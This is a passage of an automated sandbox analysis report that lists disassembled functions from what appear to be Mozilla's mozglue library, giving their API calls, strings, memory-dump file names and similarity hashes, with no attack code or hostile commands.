ReleaseSRWLockExclusive.KERNEL32(6C54F4B8), ref: 6C50F5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6C50F3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C50F56A
[I %d/%d] profiler_resume_sampling, xrefs: 6C50F499
[I %d/%d] profiler_resume, xrefs: 6C50F239

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: d9a63e9a58dff90fb01f69cb2f5356f3b8ac0a45bb3971f76358a0bf2a76deb0
Instruction ID: 2b3052891a18d23a7d5df33f911ed10935070a0530c10b3cf389263afb6e1379
Opcode Fuzzy Hash: d9a63e9a58dff90fb01f69cb2f5356f3b8ac0a45bb3971f76358a0bf2a76deb0
Instruction Fuzzy Hash: B8F05475700604ABDA007B699C48E5E77BDFBC636DF018125EA05C3702DF754C058769

Function 6C4D0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C4D0DF8), ref: 6C4D0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C4D0EA1
__Init_thread_footer.LIBCMT ref: 6C4D0EB5
FreeLibrary.KERNEL32 ref: 6C4D0EC5

Strings

kernel32.dll, xrefs: 6C4D0E7D
GetProcessMitigationPolicy, xrefs: 6C4D0E9B

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 0cddcb07232f23cc89c99f99547f35af47b87aee4177e50d8975d67aedbec9be
Instruction ID: fe56ce4e1197641ac4705fdc57a2a53fd203793b14b246a45dc0112d59f57663
Opcode Fuzzy Hash: 0cddcb07232f23cc89c99f99547f35af47b87aee4177e50d8975d67aedbec9be
Instruction Fuzzy Hash: C10128747003829BDA00FFACCC24E4A77B5E74631EF12AA29991183F40D778B4158A99

Function 6C50F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C509420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4D4A68), ref: 6C50945E
Part of subcall function 6C509420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C509470
Part of subcall function 6C509420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C509482
Part of subcall function 6C509420: __Init_thread_footer.LIBCMT ref: 6C50949F

GetCurrentThreadId.KERNEL32 ref: 6C50F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C50F598), ref: 6C50F621

Part of subcall function 6C5094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5094EE
Part of subcall function 6C5094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C509508

GetCurrentThreadId.KERNEL32 ref: 6C50F637
AcquireSRWLockExclusive.KERNEL32(6C54F4B8,?,?,00000000,?,6C50F598), ref: 6C50F645
ReleaseSRWLockExclusive.KERNEL32(6C54F4B8,?,?,00000000,?,6C50F598), ref: 6C50F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C50F62A

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: b5f161e81e13fa887bf0d108d45e07506d74a5f01c2da64dcb027a6cfddbb168
Instruction ID: 86e8ee6dbd8609c81644699270b934fd08783778288be7a0d0b8a3bbf5d8bf34
Opcode Fuzzy Hash: b5f161e81e13fa887bf0d108d45e07506d74a5f01c2da64dcb027a6cfddbb168
Instruction Fuzzy Hash: A9F05EB5300604ABDA007B699C48E5E7BBDFBC63ADF028125EA05C3741DB764C058769

Function 6C5005F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C4FCFAE,?,?,?,6C4C31A7), ref: 6C5005FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C4FCFAE,?,?,?,6C4C31A7), ref: 6C500616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C4C31A7), ref: 6C50061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C4C31A7), ref: 6C500627

Strings

<jemalloc>, xrefs: 6C5005FA, 6C50060F
: (malloc) Error in VirtualFree(), xrefs: 6C50061B, 6C500625

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: d869b72dd1a64f056b4960ae2392d498c2a3ad1d88914688784376ca4dcab4ad
Instruction ID: 35b68ec0123640f4d859d563af2b5e6557d69b1b0021558d62292067341bb464
Opcode Fuzzy Hash: d869b72dd1a64f056b4960ae2392d498c2a3ad1d88914688784376ca4dcab4ad
Instruction Fuzzy Hash: C5E08CF2A0202037F614329AAC86DBB771CDBC6238F080139FD0D86301FA4ABD1A51F6

Function 6C4D05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b5732296efe9e88c0415566e161609517f1a6eb9806de7974ea1641d1cb3d36
Instruction ID: 143b14a6d71ecdc3ec57e02fd311b2114621d529b550c848358e1b1caff929c3
Opcode Fuzzy Hash: 7b5732296efe9e88c0415566e161609517f1a6eb9806de7974ea1641d1cb3d36
Instruction Fuzzy Hash: 84A14970A016058FDB24DF29C994E9AFBF1BF89304F45866ED44A9BB00E730B945CF90

Function 6C5214A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5214C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5214E2
GetCurrentThreadId.KERNEL32 ref: 6C521546
InitializeConditionVariable.KERNEL32(?), ref: 6C5215BA
free.MOZGLUE(?), ref: 6C5216B4

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 14c205e7d0c5fd1a70283c04237eb4f4a875840426e9c83977a5839aa04b108a
Instruction ID: 6a01d7556556729a70349054305534f8d9bd7be4324790dfd786a3c48d84ddfb
Opcode Fuzzy Hash: 14c205e7d0c5fd1a70283c04237eb4f4a875840426e9c83977a5839aa04b108a
Instruction Fuzzy Hash: FF61DC32A007009BDB21DF24CC84BDFB7B0BF8A308F45851CE98A57A41EB35E949CB91

Function 6C519F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C519FDB
free.MOZGLUE(?,?), ref: 6C519FF0
free.MOZGLUE(?,?), ref: 6C51A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C51A0BE
free.MOZGLUE(?,?), ref: 6C51A0D5
free.MOZGLUE(?,?), ref: 6C51A0EB

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 234fbf9ba884508a85ed3e1f49e618db8fb9995e72cfd636afbdd04c251e9dde
Instruction ID: 5db0c2c442c8da3af8a0c8e274126bbb3af2dd816ab35b3dc3779843b143daac
Opcode Fuzzy Hash: 234fbf9ba884508a85ed3e1f49e618db8fb9995e72cfd636afbdd04c251e9dde
Instruction Fuzzy Hash: C761A1754086419FD712CF18C48096AB3F5FF88329F55865DE8999BB02E731E98ACBC1

Function 6C51DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C51DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C51D38A,?), ref: 6C51DC6F
free.MOZGLUE(?,?,?,?,?,6C51D38A,?), ref: 6C51DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C51D38A,?), ref: 6C51DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C51D38A,?), ref: 6C51DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C51D38A,?), ref: 6C51DD4A

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: cdd8cec13b183ed930ab16a7d517fd1a926a65740a4c7d1dcb12247aea9cf91c
Instruction ID: 03e09721a9cf37a11d222fe2963ea07249b913b740fb655f094c60e5d47a6a3f
Opcode Fuzzy Hash: cdd8cec13b183ed930ab16a7d517fd1a926a65740a4c7d1dcb12247aea9cf91c
Instruction Fuzzy Hash: 7C4169B5A00605DFDB00DFA9C88499ABBF6FF8D318B564969D945ABB10DB31FC00CB90

Function 6C51C810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C51C82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C51C842

Part of subcall function 6C51CAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C53B5EB,00000000), ref: 6C51CB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C51C863
std::_Facet_Register.LIBCPMT ref: 6C51C875

Part of subcall function 6C4FB13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C53B636,?), ref: 6C4FB143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C51C89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51C8BC

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: e084dbb328058c7050739a9324c4f0726a6846389239495839814cce29f2955b
Instruction ID: 2cc50f9344a2bb2bb9b9a8d542efc4cae0b280289b36fc03b0915099d9e50aaa
Opcode Fuzzy Hash: e084dbb328058c7050739a9324c4f0726a6846389239495839814cce29f2955b
Instruction Fuzzy Hash: F1119371B002099FCB00FFA4CCC89AF7BB4EF89358F014169E51697741EB31A905CB95

Function 6C4FF440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C4FF480

Part of subcall function 6C4CF100: LoadLibraryW.KERNEL32(shell32,?,6C53D020), ref: 6C4CF122
Part of subcall function 6C4CF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C4CF132

CloseHandle.KERNEL32(00000000), ref: 6C4FF555

Part of subcall function 6C4D14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C4D1248,6C4D1248,?), ref: 6C4D14C9
Part of subcall function 6C4D14B0: memcpy.VCRUNTIME140(?,6C4D1248,00000000,?,6C4D1248,?), ref: 6C4D14EF

Part of subcall function 6C4CEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C4CEEE3

CreateFileW.KERNEL32 ref: 6C4FF4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C4FF523

Strings

\oleacc.dll, xrefs: 6C4FF4CB

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: db0949b294790dffa09c150d159dc6fb414ac054064411a5e881b8ca7925c53f
Instruction ID: 268e2b8b0262dc60cccce4bb6e91bc8c35580fbaebc3fe602c85d67afd67e18b
Opcode Fuzzy Hash: db0949b294790dffa09c150d159dc6fb414ac054064411a5e881b8ca7925c53f
Instruction Fuzzy Hash: 0341C7306097109FE721DF68C884F9BB7F4AF85329F105A1CF5A483651EB74D94ACB92

Function 6C50E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C509420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4D4A68), ref: 6C50945E
Part of subcall function 6C509420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C509470
Part of subcall function 6C509420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C509482
Part of subcall function 6C509420: __Init_thread_footer.LIBCMT ref: 6C50949F

GetCurrentThreadId.KERNEL32 ref: 6C50E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C50E04F

Part of subcall function 6C5094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5094EE
Part of subcall function 6C5094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C509508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C50E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C50E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6C50E057

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: 5fbed856cd8dcbe8ba97ab6693203f5f82db99cd310bf38ee64147eabc767132
Instruction ID: 9e19b4c91b1fda301abefdddf049e29dc7286228722ec7ccc905ea224f021a5a
Opcode Fuzzy Hash: 5fbed856cd8dcbe8ba97ab6693203f5f82db99cd310bf38ee64147eabc767132
Instruction Fuzzy Hash: 9721BE74B011089FDF00EF64DC68AAEB7B5AF8530CF644428E94AD7740EB71A909C7E1

Function 6C5274A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C527526
__Init_thread_footer.LIBCMT ref: 6C527566
__Init_thread_footer.LIBCMT ref: 6C527597

Strings

UnmapViewOfFile2, xrefs: 6C527552
kernel32.dll, xrefs: 6C527557

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: b36290d7e69ae84678802804bd4d3201c15cd1fdd481878b1f663ca78486a837
Instruction ID: 14b0e56374ce7327633ed522419325f8eca7441631df31cc26190fe3d18b469d
Opcode Fuzzy Hash: b36290d7e69ae84678802804bd4d3201c15cd1fdd481878b1f663ca78486a837
Instruction Fuzzy Hash: 85212531700501A7CB18EFECCC14E4A77B5EB863A9F02862DD90187B80D73CB802C69A

Function 6C52A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C54F770,-00000001,?,6C53E330,?,6C4EBDF7), ref: 6C52A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C4EBDF7), ref: 6C52A7C2
moz_xmalloc.MOZGLUE(00000018,?,6C4EBDF7), ref: 6C52A7E4
LeaveCriticalSection.KERNEL32(6C54F770), ref: 6C52A80A

Strings

accelerator.dll, xrefs: 6C52A7BF

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 422e12302c69f146a6b900583bb58d62006dc40a6cef689d69387069cc060211
Instruction ID: 6f11044ecac010915e727cce3e0e140992af04e8d3fe90df9613b75bb926c215
Opcode Fuzzy Hash: 422e12302c69f146a6b900583bb58d62006dc40a6cef689d69387069cc060211
Instruction Fuzzy Hash: 8601A2716003049FEB04EF99DC84D157BF8FB8A328706C16AE9098B742DB74AC00CBA4

Function 6C5275B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C52748B,?), ref: 6C5275B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C5275D7
FreeLibrary.KERNEL32(?,6C52748B,?), ref: 6C5275EC

Strings

RtlNtStatusToDosError, xrefs: 6C5275D1
ntdll.dll, xrefs: 6C5275B3

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 5fef1a269267b47ee7bb0e20d9baa35a5c7b9ba4ddaae2d90b295bd82f3090fa
Instruction ID: a10fde7c7eca7bd7d8d91417d25bad8cca9375c9d8ac91f8ec9613812546805e
Opcode Fuzzy Hash: 5fef1a269267b47ee7bb0e20d9baa35a5c7b9ba4ddaae2d90b295bd82f3090fa
Instruction Fuzzy Hash: 09E09271605701ABEB00BFAACC48B05BEF8EB8735CF12D225A915D2641EBBC8061CF19

Function 6C527600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C527592), ref: 6C527608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C527627
FreeLibrary.KERNEL32(?,6C527592), ref: 6C52763C

Strings

NtUnmapViewOfSection, xrefs: 6C527621
ntdll.dll, xrefs: 6C527603

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866990516.000000006C552000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4c0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 044140d7758c06e1b8e496fb76e262409c8544a505b192f7a9b57ba0f479ff39
Instruction ID: 956309aa5fd99aefb19614bd5950b73b6b2990ddbb47debf145c831c88acbf8d
Opcode Fuzzy Hash: 044140d7758c06e1b8e496fb76e262409c8544a505b192f7a9b57ba0f479ff39
Instruction Fuzzy Hash: D6E092B4605701ABDF00BFAACC08B097EB9E75A39DF12C215E905D2641E7B890248B1C

Function 6C52BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C52BE49), ref: 6C52BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C52BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C52BE49), ref: 6C52BF38
RtlReAllocateHeap.NTDLL ref: 6C52BF83
RtlFreeHeap.NTDLL(6C52BE49,00000000), ref: 6C52BFA6

Memory Dump Source

Source File: 00000000.00000002.1866852108.000000006C4C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000000.00000002.1866828828.000000006C4C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866923987.000000006C53D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1866952153.000000006C54E000.00000004.00000001.01000000.00000008.sdmpDownload File
